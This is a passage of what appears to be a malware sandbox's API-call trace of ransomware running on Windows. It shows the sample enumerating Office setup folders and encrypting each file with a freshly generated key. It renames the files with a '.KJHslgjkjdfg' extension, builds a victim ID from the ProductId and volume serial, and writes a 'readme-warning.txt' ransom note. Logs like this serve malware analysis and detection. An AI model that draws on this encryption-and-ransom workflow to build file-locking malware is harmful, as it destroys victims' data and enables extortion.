dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.273] GetProcessHeap () returned 0x990000 [0164.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.273] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.273] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.273] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.276] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.276] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.276] GetProcessHeap () returned 0x990000 [0164.276] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.276] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.276] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.276] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.276] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.276] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.276] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.277] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.277] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.277] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.277] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x8f8, lpOverlapped=0x0) returned 1 [0164.277] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x900, dwBufLen=0x900 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x900) returned 1 [0164.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.277] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x900, lpOverlapped=0x0) returned 1 [0164.277] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.278] SetEndOfFile (hFile=0x114) returned 1 [0164.280] GetProcessHeap () returned 0x990000 [0164.280] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.280] GetProcessHeap () returned 0x990000 [0164.280] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.282] CloseHandle (hObject=0x114) returned 1 [0164.282] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.282] GetProcessHeap () returned 0x990000 [0164.282] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.282] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.282] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.282] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.282] GetProcessHeap () returned 0x990000 [0164.282] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.282] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.282] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.282] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.282] GetProcessHeap () returned 0x990000 [0164.282] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f5760 [0164.282] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.282] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f5760, pdwDataLen=0x29deb98 | out: pbData=0x9f5760, pdwDataLen=0x29deb98) returned 1 [0164.282] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.283] GetProcessHeap () returned 0x990000 [0164.283] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.283] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.283] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.283] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.283] GetProcessHeap () returned 0x990000 [0164.283] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.283] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.283] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.283] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.283] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.283] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.283] RegCloseKey (hKey=0x114) returned 0x0 [0164.283] GetProcessHeap () returned 0x990000 [0164.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.283] GetProcessHeap () returned 0x990000 [0164.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.283] GetProcessHeap () returned 0x990000 [0164.283] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.283] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.283] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.284] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.284] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.284] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.284] GetProcessHeap () returned 0x990000 [0164.284] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.284] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.284] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.284] GetProcessHeap () returned 0x990000 [0164.284] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f5b28 [0164.284] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\readme-warning.txt") returned 110 [0164.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.287] WriteFile (in: hFile=0x114, lpBuffer=0x9f5b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f5b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.293] CloseHandle (hObject=0x114) returned 1 [0164.294] GetProcessHeap () returned 0x990000 [0164.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f5760 | out: hHeap=0x990000) returned 1 [0164.294] GetProcessHeap () returned 0x990000 [0164.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f5b28 | out: hHeap=0x990000) returned 1 [0164.294] GetProcessHeap () returned 0x990000 [0164.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.294] GetProcessHeap () returned 0x990000 [0164.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.294] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.294] GetProcessHeap () returned 0x990000 [0164.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.294] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0164.294] GetProcessHeap () returned 0x990000 [0164.294] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xca) returned 0x9b2468 [0164.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.295] GetProcessHeap () returned 0x990000 [0164.295] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.295] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.295] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0164.296] GetProcessHeap () returned 0x990000 [0164.296] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2cc) returned 0x9b7e10 [0164.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.296] GetProcessHeap () returned 0x990000 [0164.297] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.297] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.297] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.297] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xf, lpOverlapped=0x0) returned 1 [0164.299] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.299] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.299] GetProcessHeap () returned 0x990000 [0164.299] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.299] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.299] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.299] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.299] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.300] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.300] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.300] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.300] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.300] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.300] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.300] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.301] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x391, lpOverlapped=0x0) returned 1 [0164.301] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x3a0) returned 1 [0164.301] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.301] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x3a0, lpOverlapped=0x0) returned 1 [0164.301] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.301] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.301] SetEndOfFile (hFile=0x114) returned 1 [0164.304] GetProcessHeap () returned 0x990000 [0164.304] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.304] GetProcessHeap () returned 0x990000 [0164.304] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.304] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.kjhslgjkjdfg")) returned 1 [0164.305] CloseHandle (hObject=0x114) returned 1 [0164.305] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.306] GetProcessHeap () returned 0x990000 [0164.306] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.307] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.307] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.307] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.311] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.311] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.311] GetProcessHeap () returned 0x990000 [0164.312] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.312] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.312] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.312] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.312] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.312] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.312] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.312] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.312] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.312] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.312] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, 